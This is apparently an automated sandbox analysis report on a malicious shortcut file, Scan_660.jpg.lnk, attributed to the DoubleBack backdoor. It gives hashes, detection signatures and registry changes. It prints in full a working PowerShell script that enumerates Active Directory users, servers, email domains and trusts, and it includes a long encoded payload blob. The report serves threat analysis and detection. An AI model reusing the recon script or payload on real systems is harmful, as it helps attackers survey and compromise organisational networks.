Analysis
-
max time kernel
143s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20220414-en -
submitted
03-06-2022 12:15
Static task
static1
Behavioral task
behavioral1
Sample
1127.ps1
Resource
win7-20220414-en
Behavioral task
behavioral2
Sample
1127.ps1
Resource
win10v2004-20220414-en
Behavioral task
behavioral3
Sample
Scan_660.jpg.lnk
Resource
win7-20220414-en
Behavioral task
behavioral4
Sample
Scan_660.jpg.lnk
Resource
win10v2004-20220414-en
General
-
Target
Scan_660.jpg.lnk
-
Size
1KB
-
MD5
29cac9f4a4b2cbc6606c0a7751b8b378
-
SHA1
1d79526b5e9a77d7c4c1f6b4454a935cbee58706
-
SHA256
5d95b0022d4c258df18fd392ff033a13d21a9b78279f88fdbc04da53ca5a124d
-
SHA512
1ec8cd6845af4cfdb49570ca0f6437869f637e96f146bff76f9d1dc12ca667af5edc6c3ce8a75666a3735912ca3f58cc51af78ab3b4cbe50197b347361a3f69d
Malware Config
Signatures
-
DoubleBack
DoubleBack is a modular backdoor first seen in December 2020.
-
DoubleBack x64 Payload 4 IoCs
resource yara_rule behavioral4/memory/3192-138-0x000001FA6B900000-0x000001FA6B90A000-memory.dmp family_doubleback_x64 behavioral4/memory/3192-139-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral4/memory/4392-140-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 behavioral4/memory/4392-143-0x0000008800000000-0x000000880000E000-memory.dmp family_doubleback_x64 -
Blocklisted process makes network request 4 IoCs
flow pid Process 6 3192 powershell.exe 20 4392 msiexec.exe 21 4392 msiexec.exe 22 4392 msiexec.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000\Control Panel\International\Geo\Nation cmd.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Modifies registry class 25 IoCs
description ioc Process Key created \REGISTRY\MACHINE\software\classes\CLSID\{020C0C00-0012-0901-1202-0F021212090E}\VersionIndependentProgID powershell.exe Set value (str) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\ msiexec.exe Set value (str) \REGISTRY\USER\S-1-5-21-3751123196-3323558407-1869646069-1000_Classes\CLSID\4582 = "#+ADD\r\nif ($env:USERDOMAIN -eq $env:COMPUTERNAME) { exit }\r\n\r\n\r\n$DebugPreference = 'Continue'\r\n$VerbosePreference = 'Continue'\r\n$InformationPreference = 'Continue'\r\n\r\n\r\n$data = \"ENVSTATS|$env:USERDOMAIN|$ENV:USERDNSDOMAIN|$env:COMPUTERNAME|$env:USERNAME`n\";\r\n\r\n\r\n#if( ($env:USERDOMAIN -ne $env:COMPUTERNAME) -and ($env:USERNAME -NotLike '*$') ) {\r\n#if( $env:USERDOMAIN -ne $env:COMPUTERNAME) {\r\n#if($true) {\r\n $data += \"------------------- Domain detected`n\";\r\n\r\n\r\n $emails = @(); $part1= @(); $part2= @(); $domains= @(); $mostPopularDomainFirst = ''; $mostPopularDomainSecond = ''; $companies = @(); $strCompanies ='';\r\n $domErr = $false;\r\n $errMsg = '';\r\n $days = -90; \r\n try {\r\n $D=[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain();\r\n $L='LDAP://'.$D;$D = [ADSI]$L;$Date = $((Get-Date).AddDays($days).ToFileTime());\r\n $i=0; $str = '(&(objectcategory=computer)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntAllMachines = $i;\r\n $i=0; $str = '(&(objectcategory=computer)(operatingSystem=*serv*)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('cn') > $Null;Foreach ($CA in $s.FindAll()){;$i++;}; $cntServers = $i;\r\n $i=0; $str = '(&(objectcategory=person)(objectclass=user)(|(lastlogon>='+$Date+')(lastlogontimestamp>='+$Date+')))';$s = [adsisearcher]$str;$s.searchRoot = $L.$D.distinguishedName;$s.PropertiesToLoad.Add('mail') > $Null;$s.PropertiesToLoad.Add('userPrincipalName') > $Null;$s.PropertiesToLoad.Add('Company') > $Null;Foreach ($CA in $s.FindAll()){;$emails += $CA.Properties.Item('mail'); $emails += $CA.Properties.Item('userPrincipalName'); $companies += $CA.Properties.Item('Company'); $i++;}; $cntUsers = $i;\r\n\r\n } catch {\r\n $errMsg = \"Error domain: $($_.Exception.Message) , \";\r\n $domErr = $true;\r\n }\r\n\r\n \r\n try {\r\n if($domErr -ne $true) {\r\n \r\n $emails | Select-String -notmatch -pattern 'local' | Select-String -pattern '@' | foreach {\r\n $part1, $part2 = $_.line.split('@');\r\n if($part2.Length -gt 5) { $domains += $part2 };\r\n };\r\n\r\n \r\n $sortedDomains = ($domains | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $domainsCount = ($sortedDomains | Measure-Object).Count;\r\n\r\n if($domainsCount -gt 1) {\r\n $mostPopularDomainFirst = $sortedDomains[0].Name;\r\n $mostPopularDomainSecond = $sortedDomains[1].Name;\r\n } elseif($domainsCount -eq 1) {\r\n $mostPopularDomainFirst = $sortedDomains.Name;\r\n }\r\n\r\n\r\n\r\n \r\n \r\n $sortedCompanies = ($companies | Group-Object -NoElement | Sort-Object -Property Count -Descending);\r\n $companiesCount = ($sortedCompanies | Measure-Object).Count; \r\n $i=1;\r\n if($companiesCount -gt 0) { \r\n #$sortedCompanies | Foreach { $strCompanies += $_.Name + \",\" + $_.Count + \",\"}\r\n foreach ($company in $sortedCompanies){\r\n $strCompanies += $company.Name + \",\" + $company.Count;\r\n \r\n if($i -lt $companiesCount) {\r\n $strCompanies += \",\"\r\n } else {\r\n continue;\r\n }\r\n \r\n $i++;\r\n }\r\n\r\n\r\n $sortedCompaniesStr = $sortedCompanies | Out-String;\r\n $data += \"`n*** Companies:`n $sortedCompaniesStr `n***`n\";\r\n } \r\n\r\n\r\n \r\n \r\n if($sortedDomains.Count -gt 0) {\r\n $sortedDomainsStr = $sortedDomains | Out-String;\r\n $data += \"`n*** Domain emails:`n $sortedDomainsStr `n***`n\"\r\n }\r\n \r\n \r\n\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships();\r\n $trusts += ([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships();\r\n $cntTrusts = $trusts.Count;\r\n \r\n if($cntTrusts -gt 0) {\r\n $trustsStr = $trusts | Out-String;\r\n $data += \"`n*** Trusts:`n $trustsStr `n***`n\";\r\n }\r\n }\r\n \r\n } catch {\r\n $errMsg += \"Error parse: $($_.Exception.Message)\";\r\n }\r\n \r\n\r\n\r\n \r\n $data += \"DOMSTATS|$ENV:USERDNSDOMAIN|$ENV:USERDOMAIN|$ENV:COMPUTERNAME|$ENV:USERNAME|$cntAllMachines|$cntServers|$cntTrusts|$cntUsers|$mostPopularDomainFirst|$mostPopularDomainSecond|$strCompanies\";\r\n \r\n if($errMsg.Length -gt 3) {\r\n \t$errMsg = $errMsg.replace(\"`n\",\" \").replace(\"`r\",\" \");\r\n \t$data += \", $errMsg`n\"\r\n }\r\n\r\n $data += \"`n------------------- Domstats End`n\";\r\n \r\n \r\n#}\r\n\r\n#Write-Host WRHOSTDATA $data; #don't work\r\n\r\n$data \r\n\r\n#}\r\n\r\n\r\n#Z/7#.y1#.y1\r\n" msiexec.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\{040D0C0E-070C-0106-0C03-0C010C000513}\ = "{040D0C0E-070C-0106-0C03-0C010C000513}" powershell.exe Key created \REGISTRY\MACHINE\software\classes\CLSID\{0412050F-0D0A-0603-070C-0C0409120B06}\TreatAs powershell.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{0412050F-0D0A-0603-070C-0C0409120B06}\TreatAs powershell.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\CLSID\{020C0C00-0012-0901-1202-0F021212090E}\VersionIndependentProgID\090E = 03cf88dae32241d6ac99b72c3f8c44a28ee7683a1bc5e17f42408839eabceb2edfa82025a7447a91b8dff940d8c2c056a7b75cf0da6e867646c51a252b403bd20328007d1e2040e358b209fdfded06c34484e435ca4c73970feedd62a113828635f8e8ac9ccf32645e77aceca10b599606d044c9705a2a6e83896d3da24f26d8227d16f547d4f8d473207e7ea197ff7a676cc4d57d5eb59c716a087ecea461c8bdac571694de51de2d45d211833dbf7f17b1ad6c91e52a5ee20409dcc5782719f7268962aececed610814b138266ed4872f301177fb8b7e3dd8927b6f38c35732b9fbf8fb6f83795e4d69b2ec7dd0f9188c143d506f579870180bfb6db4be142509137037825a1275703f3b3b0f3ab33588024e736fd264e50fc9c7b254a3d8cbba4fc29140e7b74fc3f6e84dad7ba1a08f12191a95775a20fa12c925777c608e850c6c178dbd62b7e06c05899f8134d7027976cdcf3dec1e4dfbcdf71cd66d2ef661e0b26ca5325b419e89cb20eb5d896853c280159434cf23b7f18f0548bd59d7f71eb822a2975664d8aaf8a14c95a02dbaf8e02a2c6fad9d3501d4528d861d69b999d4b01d777c5d388c41131589b19aebc8a1663b2a1b92acc2fa5847d7de659cd3087137453b509a621961e9daf85c755f3b2cc0a043b8c30a12442f688624f00c6f7ece69488a8fa40625ca858eb60eb0dcb2e61d7c1746c9c9198a69f43c1d22bfc42c2af88ef7fdc85eaa99032674c9402bbbd6877da6d3cad64e8d7096bfa9ef615f87aee91617e846a852765575c4bde834e244034aa54c7d86c3292107b0d1c7767aa3aed42894ba9eb061c9ca0479fdf40bc42fe311ca53df33b51db646dcf4e39a67e57ec1bbcfcac1322f721b6b51b60ce5b7e1fbebdb77c5baadeb8b6f39006663a19b6e4a35276f4423a9864d390ad33de913e5a3a8a0c3349d565ee4b3c55083d0a48c362156198f404c1e4792825596c5999051dcd95daa258ed2150d09966f2e02c8e254d219750b9bc058b94670f07ef52af3b096315fa710aa74bd5627208b8ab3b6ff118f9538c36c9a1355311959dfe756cea748883116ddbf56960cf88d097cdcb89516e7493638cf716631bebc978c17cdeaa66ad7465713eb18f7cd744b407bd7eaf0db15b46ccdff715b0542c73ed85b4a4d459ed4fa254eb3784188e1e8c62752c475fd746949f73cf07970246a9c98d8aeb3cebb27ccc8f1cd392037192164d5505d926a638bf0cdb00f7772d8f54862da893a26e19d95a9531b99e9f8055c1a4a3ddff5f28a7be1ad877161724618911dbac3df81968ea3d4a687e5da95bd681d7e2be67042c7616f4a4dd4309ef22509a0d81205d740304320534207772646c0d22cbfe5c97fd155d9318dcd6f6a16d8ca96fc2cb4acc2a0c9c838fe75ad8d982297cae3315a72079784f41e3439ae797ee7a2e76f0860e7fe8b60bcb54891b911be56129187133b8548f533dce1c304959f82ad061e16920a2fcca1f32af43ae787a24dcb427b183964205fd73d7f8a75de2fbf1035a2e2505d18c48f9a8395f6477716c22099799d9a82b761d89e8b64ce2d22878386ba54c8bb982f73301596b6665da8ac2f5bd4913d9e0c67f4debc29d357b7ab166df01b6e544f7a4d793ed6e65695d2cc6ffbc43fbb6fd3c9322b36788d12a28a7d15d3ef06453f12acef0c4095ced69ec96ee65819de843fa5b25d3b35058d12b6bd14cd22dd681ea5d11b4268bbe761ee42783902b1373cddfaf7b59cbc9f5cc03739f7ec1f901ebf0e98cacaa86b2183fef6afe516efa5b4abaaae93a40ebf7227814ce415afd0bb04588ba10768a5a98f984900c9a8214f2b560edf7ca82504de2942a040dad2d5018007173b2e556002a7d223f9b26aae7dc5f66fde6cd5d1795d4b94acc602d260149fb926d5c7b9d972ef700c581bfdc168d640ca71a41ec68d6b2f48692e11fdf47f216dc08f0be34557cd357d29920c5d2cedb78316779af9527cd4fd9b4ecb1fcc9890ffd6966df9aaaef2af6db34e53ac586e6a7690bf265bad5623c0885d06f1c137d6ea9a31952bbe78e0fc129acb18937155d5f6f6ee4cdc10a7876e8887253827e9be10dbf93d2311aaa2742c6d7d259e3f488a236cf5e754e94ee131eca310e8cfd036113e5aa7401ee33946a8d7971b0ffacea3df32e444f765f58239931d6f80f39b67dbdb09bb0165665d35652b62576508d364c5c8d7e2435e29563d2ee746253a7bda0705d1d0afd5400ca03500291865d8eb2543cd06abfee2a8df7dba77d79fe077e7d173e06babe841b2ca584838a07774e8dce911323df82fc2697d71b8b30029f3b45c2a0071c48e29b3dc0f9109f39dc3a46467f8a96842787c0382ec1196c88862c786663b16ab86fc8c7071b88d3b68c3d1d08bea3b28aee57908ee6f7cface29e2be8ff0e1d010e805989914cf91df3ed68d6db2b0f2be61d595283aa30189c518c70eb138c57521e220cef9c266bd875c726c71671c52776747bc8e1ae6c756c0182d658b701b7cbab1616b21f984c0673176e6f24f7d67070c7d779e60cb96e3c361496eea77d0e32cc4c308a91e9fa5a3949f068910ee13e074ada3c01e82ae3a71d85564158a1b10a0d41fbe202b3f5d64f01529654043a2f2672e70a25149808e911d7721b54a23708544010d228fdea518b667f7baba4c40713e37c997ee8ab9827b7fb1d9e0bb6679240793fc1d67ade7680f5a36336968cc8032ae930d263e6d3d5006529a723466cc110ababb0a90a1dccead6f47dcb686d3054e66408998bbd44109769eb93b13ebe6644272e6a975bc0f5933a286440656590c4883954fe684e7ebf56abd444e1bde3555274b1909aba999502f4edc847a34a940a8b5f80df7a06a98e2d7d7d10f9c22e0ec5a8fe16982ebc2214e2ca2a4654ef23e56cb7a2ca750deb653a5cd7d56f1026a64df76215d734da94f6e341621b5bfee46d8a7eb840b38be9cbf053fa131cbdaa7a2f7963d7a5eca2a5f3c912622ba543ec790c00ff460cd1807f8bb748955168a3a6b7bc9862546d96078b7882f523bd2fcb167d9d14380a8655d0ac56e0128deae427ef92cd462b1de28ca1df772087ad6d094e9a7037d6905917e14c40283c16be6490cdb22a98d3fcca06ce83d97df9fb57c868fc242486e7d4b6b93c8ed5ab52a5147c103ce31a72a9f5824ebcbb3cda86c2ff22aff6448a1012bcaf8d2df57a6cc56bf5995934fa5fdbb12c24c36745c882d941db7a67f977160e23e7783dc79da9562af3fff3fcbfc571c15f693c756b12a43aeba7725cc2e27c104863571a7ae98d017fb29a07d1b7c21633259232c3f3dfeec1ca98bc0c6628ea44be728120a3fe329d1536edecc67a40f84828d44582862c3c4dfc411355c17072971d1cdbc3e99f260c29603d7f5ea35a7bda09356a46ddd0cf9b1c10e22713bb5e4fdbc5438a22b2d4cc0d4f568b5c39040f5765cc4f4cc58f7313e31769ac46276a7943322b8be759a92574393bacdb46753e7942c50da687faa7bd50c90d7201879add3c10d51813c9b16eba7eb4ac31289129d275bb8d41bfa82e24f1a5b11fcbb31d936d66474c9330c4953e747d77481acd60a27493286e74f9799a58d378ccc49315397cf2d95db30b0de0204db3bb53df87aae6c855a387bfcaeeba5b54c39c0b0af2a6fb525e025830750920faeccf27bb91bb7d560f83dec92cfd0a02efecb120cb3a465f5e64d3824d80b27f5f2d953cac6c4e2c8913aad0b7ccc9c7045be74626fe913cb5de541592d50f63ab4895a2c2f6ae5377696410c5a0f7c1aa663247af738450eb87f59e364cedebd429730bb76ddd795695e8afe1e50581010c3a2145cc87cb3bfb4ed437005af8e0720798454f67b8757f2c3c3a4532c1ae497ff6fe290f802eeba358e44ee1e0ccad912a96ba2e7c7f803a022d1238a5587702c38f719a880a0bf8713bf7c1537bf080df453335711c44faeee10d759661fd461e0994902ca89c819daf91bc3effb5067b2f3466715d727615bf8ef4fa564d8402ea8242f4b5b6fd387350a31a59a1a1a2e67db7e13d3e43984316592151a80842ae9f3272be6f87d3bb1b99e7be48cc71dc7da2aebaf826a795cc3072008c80420d1ee7ba63a8856727e0d8f44fb7d16482c96d65a4b5fbac0cfec132d182919e33685f5d274150b5087d9c8e11dd0e082e7816ebd8a4ea24f63aca84f0ce448f2622e545c609fcff15489b704838a974f9f972c8c9e9710c2535296867d7939407ae316e8ecc63208d3e80a72474743a3178f7eddc9bbdc6935854c6a627f3bef49feeefadf74b2eceaf7815104e70820190dd70348ca32514ba852ea33fc68ddbd79f3c25cf763ff2fb039e3838c097966b1bf478ceca48eb1d6ea900837b63d73d49bc754184300159fb6385dc97d5fb950d96343988356c32e13c119f161c70e3f3fe7ae0d3f16cb15a9a3c1cee6cf326c6b1e29b3f641ee6d9453d7aab1c598b88a10b93c3684e7daf5f8c30683cab09821b140fab44daebffab7ac438862805096ee666362aa51282a189198abf3bfc8f84d60efa3a503a61c3beb1f4c6275322bd20949c6380d73a7aa922ee26ec35a5bb737a487c46298faba183bb8d269b05746ee9fee875f943fb21fe641f12e5c25caa4ff74470ae3f644b8b786d359cd029eef176f00461a307108109d27e9d9901918d2b0d923448c979f1c8a0502fe38491ef7cd35e2d4e1dfd5fd05ae37cdf0ccd80d35b0ee0d3509bde81dc7e6118bc54cb8b7ae48e1b940cce9ecd0af434f52362c7bd6885ea6d2391fb54fcebacd9bc8074380d963bc5ee0968ed9dffcbebcd37515689d5724f63318a94ae637cacf0675bc17c4c5b0cfaae50b11d2451b1375d50c86110379b061275a553178453570798883f905d16a21cda73a3c0b9f27bee2359ca04f7824b7e6fcc4e887baba33aeca3ffc8105d706abcb0c771403d3b4f6f5775801f715e745712ad246ae033a2a37b1d12f2cbba56c10433f86bff2450a6c8702a46471e119d85bc5fbab640abdae9609bce9ccc36bc2caf7ebf9f5050f8ab9e47e5e3036ffa6a4f06d3e521c30924147ab9ff20e9cd95080523214ef6bd77b53885301cffebabcc4e3a2e803986e61568a952a64e0cc74358ec811d728a860d33d41179b7379e386358eaf99459adfb551d2a57158f878dc6895ddc00b5f36708e246c284426ff467f1152c12624d0e6b4275080e2589080aa5e2a01bc8036faf59ad4b00ab775d03ec33f25788726ccb91632afb256c5da66c7ea4138aa78f29190b47cb60bc3babddf3a309945e45a0850aa9f89a10d7ead75c12bdfcba5101697273e33d4bb6be3b96578a8c0781f48013fb36e97b2ea995bd26ed5424c18033d6116b58353b143e51e33baa99cb00da8ce232b5469dc1cc435cbdd6bfa1e8088b190965931bb99643330fcf82c74c06fef11351e6f305767f3968319b277f5ebfdc47c65d1abac7b14c9599f68f2b0d8648cf12a996f3c610d5de32f980fd0fe65335b9491964fc6aabbc27270c0082bde8afba1e5e14e2aa290ec416a59a5faf631e3ff96648ed035a38c349634b9d57ccc492e6cac6a3ca06619fe32a25863e2ea7ba8b89ffb593166de328b23598ae89eeb10be63354c29b330c769e0528697ca27f7ba01a22e9d0343d4b54780f76ce7a8d84edb6e4a32db8135790ca7bd49344f2655e951d55fa6c6d68912f538d8bd848253c83b3972f6a859e867d741b46fe2af2eaa11d279a3f146a2479f66d14445ecd895fa1acd0b8181138f31cef8095dc75c8bc9218c1f08d80c67cdd728a9f42ecabef39007d941ff35114a23b258b2e97f4046a2a3f7ec3ad2c94907da7dc57e5d6ac344b8cc6e1fa5dbd90922ccbfff483617d4f7742afe06d7eb8ea754e913cbb2ccdb14668a683d610da10019bdd69e178fec701060821c3d5d236356c6019b7051838cb353c378889a478a316330a0373745cef4e9dde1e9864b53fa79518dfc114cc832fb68987c36d66f1b8fc7318a5cc2a85c53531ba9e5e323446824f1252bca4555538d9dc9b291d1f1ef09b626ee263df7ad48bfb95ff475218ad2bc162ab857f9f8f28a8a3aedbf020c869622a48ebbf4913b4e78e38335cea1965070179b29dc102964d8f45c43aebb4c470d2f3cd09e30ee3a22fe2faf68c38fd3a582d9599cf9ef3cccfb54b8fe1a7958271f9479348f4ccd3dbd59b99edab8bbedd85702dc5924847cf997be2c9ba1840cbbc1ec37c832cddc03314f7b67acc66bfb3c6eb173d53a32b768076a5fc0e875dd1a984700ae27f61933f00f4ff2ccaff1d198a873eefc708ded0d5fa6ccb16274e7ed19bf73bd4e9ded577c2bf133bb8634fb0ebf136af69235c05e4819ff8731195ff5026a5fe9fcebcc16be22e79efebd95dc43d053833c3c2c4b14185e3ff27a051b7415297a17630555229a1743a72d0940c936a13fd21f30b6a08aa49e6f0da9d922378a20f8a138eaa9503ea0ae6e8eca3c9f4cde3a5e9f59d79d44a3d55e5006a3a4466586d66d2b37b7ec46862ab980ff184d5b9db37f14b38149dab7bddde96bf0e5b7777e955717eae2bc4baaace279cf8e5ebae3aa95b83e8ae6bfc61ab56a1ba7ddcb86c53a0a77b6eb070f855d36ee608966916f2e076432a36bab48bc37c38d8733906e6367245fc2d47d76d79f7c41f227e85735a39a424c7f3d0b6fba9354c3d0a0cf2810f09c5c09e018056cb1071f8a10adfb548e4c10836d8dcb70ef10ae31f4e8df2e5546adf6d17295f82ed65246211e8d4d50d4679ad216c2230e785f5ca57b7c95202271bd18eb4cc969db33d77858b6ecfc6bc1f90acd93b3784c9e6df928960b35a2ad8bdaa5b1aeb247b1d4bfb5e09468592d4c0bb540f472cd3d67e15de713cdf28bbce9d775cc25bc6a8daca68c25c70ea6c25a2d9963718036f47e0862bd3336cfdbb560fa3bcb14112f49ef5ba361dc90a921ceafa42c1865742f02d128f02e57933fb91d0dea59b0e9f203342b76248fb94affd6b348d3bc89a8bd28a4fd610e5da1ffe4d3a49020ea4c54f3a057dbbcc87f9291ecd0757715de397a153b44916b7c70e485cc8d01aa6697dbf5920748062a5c91e382361b723ea0f7425f14838ab03e3e34d0bebdd3c7c5d8cf0f2fce30391fafe37bbba074016f2062ed992f26e1417b7b70559a308c51d53b1e4053c43bcb4e356581c9abceb607f82fc9e07cb73b0b5b56d140b43c571f88ec1f9b06f9dd85e6b531e69ca75959c413e437c8ce04e273582280f3c40d1d505cbcd0cfc57a7c6cc19b62a732e67cbcd4c487564b72940d762e0634c7595cc52b074c30806de28749a07a9de3d2966b1064909c8ac39d81ec360b73daa27a40250aef90eb0d753331afd8b7ac3a16cb725c4ffc2d42c1345a2fc7285c6534570c1009c1b82757cb0f02e37703a18e2e5b0d84aa83555cd0fd43332aa9ac93f3847e823a1b0a135154c6bbc05b65e2b6ab789bc7fcd4d55dcaf11cff6354dc4013fbd8e15ab468b53ea7e8dc1fc05964aa01cfb251a6cb570d9e4d7c79e693b9635750857b2024ce0d35a7086e52e03c7f2ff7d17e0c5f6d8936665ed962307fcb969cdfcd57a741d01c8211dd6e46f318e55a0e0c43fa108cb7e58cbb8a27f9634e12ae7f9bd4f0d4c67f79c5d95d112415cf2c89c050cb73a605c70448c29fef36b91858f647e20b9a4a2553fe9de8580e1dc7133e602f4fd52579b80819553e77ffd000d93f0cfba6cdfdc4bdc37dcc648e7e4b201ccc45352b4db8bcb711cf22dcbc775263656ecf5ca1f25b4413a15116a6a52fefb3db40dfe42c57a55e704dffebc18a0408270ffee97fbbab6154be67486df9e7a79aac45edba4fb42b1d4888b7f072e8a591414416716b73ee9449eac110e9cbb45ef71e796ea099d363e09bd4b7abfcd671a70542e815d8e73f734b26e9938d5a2c5fcd4b55e8687a6c33ca3f324d0a0e37c8a11e662e914a833b7ad5f13dc7f10269785c73b8b1e1730b8af91cb7d723e661550b1679555f549aaf74dad7bab18487dec2b8dd8f00162364bbe455cdbf234456b215aca6a33a766e481769ee41613bd9d052d8e012db924a15e5b75055aab8a8eae2de3b855ac2c664fa4a74d03dfa573e0336aca4fb1003124faf1c0ce1ade10292f6a55c1ff842f935e0a0e1c1f6128fb20fd3b789a9cd1d93be037345b059adb37eff18fcb651fb1ab01905294f622914e59f8a09aeecfd2a7bfc1c8be2e7ab902c0e0c8e494fa11e469e130001f3cd00614d96c68c991654a1fde07abc6256453a95db935acad07ba1229da4acee36c96c29a59828e744eea6b297cc685ab0185ae53b3f90ded5848c4bdac9d0c47d2206444af165503b9961fee21f5ea250009cfd5a98c17ddab205b7f60f5de1db6b7d3b8f7331f5a362f1ff24ebf50a64147f9ba99a8d0f26ad31a2ae5780fc1c475d1335b944ef1e6a93e2a30e4d748833cc756cf64b6f1e637878c3b477247d79bc25cb591cac689bf33097b4623724e6fb505ad4bc94ffb6431d59fb37251548c811cdb3efb4826087f5791b140cbf9c18ed84ada65d6a6451941b107a5c2e4dbee766219f8bda1a9377857bd8bfa162ca4c5359c5d21533db5dca2ab02622633dc9252caa78d7a004f445d4a9770189fb08e8c9417ac047e10a76e7d22cf84223874b238113f179205ad38d77cbb7780b762ac7ff2b8685bc4335531c4ff86ea458d939910f4c334d2b4d02cd2a6b7499e010ef8afb8c53acf40774807ec7a2a8334cdeb6e6f70c14e02a7df83121b62779cad3a6cb97afc9ff28c3e07605cafc5347f3b01d1fe7b473462cbacae84a1a1dce92fb5cd8b629d075018947a5985715cdfa23bf4d1d0a9fdc507bd9594cf96369f25cfb8e0b4248514aaeeb0c49ba9ac5179a11cc28b01c1f8a2221f31339cd42301bb76eb2a44292d3121a79cd2dd8caff1b99186b2c1801a6d6f5480b37a2703b372ccff08802b52a15f1688bcd61f81189d419b4f4c0d219c1964e92fd860a329cdd7ff3b477a60989f0892eefb8cb63aa2a3d4025c97e7ba24cf7b9347aa6c8f0b343debba3119c096f1e56fa327b749abff8e3ddeadde81ec7809b5e6335a6b2d64041fa224589b04b7d0f2a4c7c81caa366ba798d5c5d580da129653261c46e05939a4c6a87490ac2715162cb0f092fb03d3b9f15d646a6dbd153ff4e098f8597d72acd5440864e1b58a1b7182453bb729f76c7cb9dc3f11f018f378552469ccd68acc615717c1a5a760f00feae0f8f3901fc00169b14ba2b36fe6898097a4bb4422848d3c6f1492f72535d5795e0f6fed76a5fa291b9728d77e3c32cb4784a57aef3c728b4641dce2d29002ed676643be735a68f75d24e3a6a2a2064ce28ef19aeae836e62e9421704494e18499d21d1ecfdaffe826bf6b47f8d66a8aa8ab661ce61eb4c67f567e38ef6e9b82b70b230ee12a6d545178883f8293288c10583653c3e0cc107f256131ebd72bf1de70754d6aaf2e6560dce0e0d202839f06416e251556cc82f6a7f28584c30803a1788ce7b70738ceddaaee56f5d14925bcd3b4a7968570ff83ed9a0f57d19e092949ddd856d3077dfa37d30709a40ebde4f09ca8589dd12138ca9dff15a7e11e57f7a8e6d439e11d7a5367e9ffb235ce5c48db5e91aba9adc9058ffb26f32b7ec950d88e32f623aca677c77701f9a2487bb354909f03961100067829e94aeb770dff50a6de5ccd9e4575decac6895517ff9fae857cc70e4b670ecd50cf6c34f8adc0d88b991fab85607a485f73cbf7961ceb4511138c1289bc6936054567c5dabd9352b917227d93ea7d1f28b3a2f0eb3d4eb434ce0140ec5dda75ef3ded4f8f7029f1d5e0cd5522b04301b159e17a0e007102524efc166eada9106ec87fd0162f54013f8da77c62bb7653af9b8dd27646301b89fbe0eedb111c648bc3fde367afcfeb059185be95ab9b9b97417be3c1881168c2d127afa32cb4786fd3e5d74976546acadc92b56f59cd404a518fcd6ed6ef1fb2dd1072c08b979e6dc6fa498d3d68b092cc6107172d6bf73a92a03e3dc31f077194a2c5766ad1e137c6b1ae27619b94d8fd360b0c88d48a2fa95094a65558f4c37bafa6d5729fb736ea38255121d545f0fc8c17f33822d46ea031108fd5d5189ee312738c9030e6ee60a0d253419e2a9e748931581f49c25a959031ee983ea2f70820e5e5815ccf801ed01efc6c0506a790fbe625268c4186e5d801b8640261e8ad3ec6343cbf25de4ab42c27ff376625dc42bbe4458503418a022f2f2d5c19a44d6d4bf4311b914dead103c173ed8314ecf6a098d4bd1b8f280f135ae3a866f804d86059c5c03af2a43a3f2ee971721424f830546d4cad7ff11619da175781dbe74ed5018152f4402eafd81c3978bf057ec500e9de6d81fb64110cc2f3cdf6a507c99ea7d77691bdee6b3738c5e18bffddad022e1b13f6e93899dcb5dd809cc0821745f0d85234f338d2ba7aa4735d1e7a96445cc9a2c67f83d08c169ebc1d61c31448b2efa85d1c6ff0032fb1820b8e19fffce51ef3a6047f8ded7fcc5bc617b7c8c035bdb09fe84c9fd2b19b3cb60309173fc490a6d9998208bd7e301f143feca4038c062c939555d1bf98a3d6ee57741e98ffe1726a0d5263628d217ad485e2b677336e0788782ce52c13a3c39bcfc99904f0dc89c3911bbf4b673397ae27e0149c4ec8a4c890853bf6cce2fb2fbe8dc3267ae360ec9419b21c7476defbaa23699f1298d367b96ce585243a4735423527be8cec8f1b37994d2d94b734c47c4ad95d3a9842dab23bf448cb1b1a34f59f7d4758fd9fd884e6d9c52df4c9aaa05463bbf9b4017736ca71edad3579c5363b1d84e3fd6f9dee954b5cfeccd37268b802959dbefde6dcada3ed65ead080e3e8fe70f1db8f78d9c7daed6107d34fcd3235620616cf8074aef7fce260faa8a1c0bc267e821bbb17e1e96f989c5510cdf77d9d4332cb54f5e8e5190a11871404ad3d63cd25eb320c20a20b2b2af11a9863383d329e94aeb4b92faeb6c7420ee76fd338b12d86a1f7f7a101825e26f35a630e47e3697e80a311d9bf4da8c9916a0dbaf9388dea376a8fe96d656bfa80b8ff2ee153d3588158ed83e2fbe9f477e94297d403c5a7dbc4a2a9966f26e6b9de80f3b6f41c5c89facd15cca0e8213a321f8dc16a2c7091ad2c98cc5ac15750d1335f3ff4ef3236b4601b9920a1760d3975ef2a9a87f52af090f98ea9fe09573f1245d6663657cfe623558e1912a636fff11d13ae1a60da64e8b57ec93dd864d8611abf97a33cdacf9af7e01d3ac2b13f455a380d4fd8012992c3a67367056a0e15c796ed965504d9782c6df21f15b341f5deacb516ea431023e9ebf3c6b4cecd6149dab0efb6097c66ea0cfcfc3cc5ac66a4113532d4db7ac9ed39b25b30ed38c4c52055eb83951a9e5b50611992e90eb30cc1ac3260d6cf19d03069e760ae6fb8292aa9e1129cd35205e82e269511fa6ad1ecb14274dfdaaeb9ba28afbe1ddbc32baf39cb44bf5711800101bde0fb2a3c24c25b41083c2b173b7f1f3cacf6880731e903a37dcfb47d049a9cf63660840b96329f14eff615792f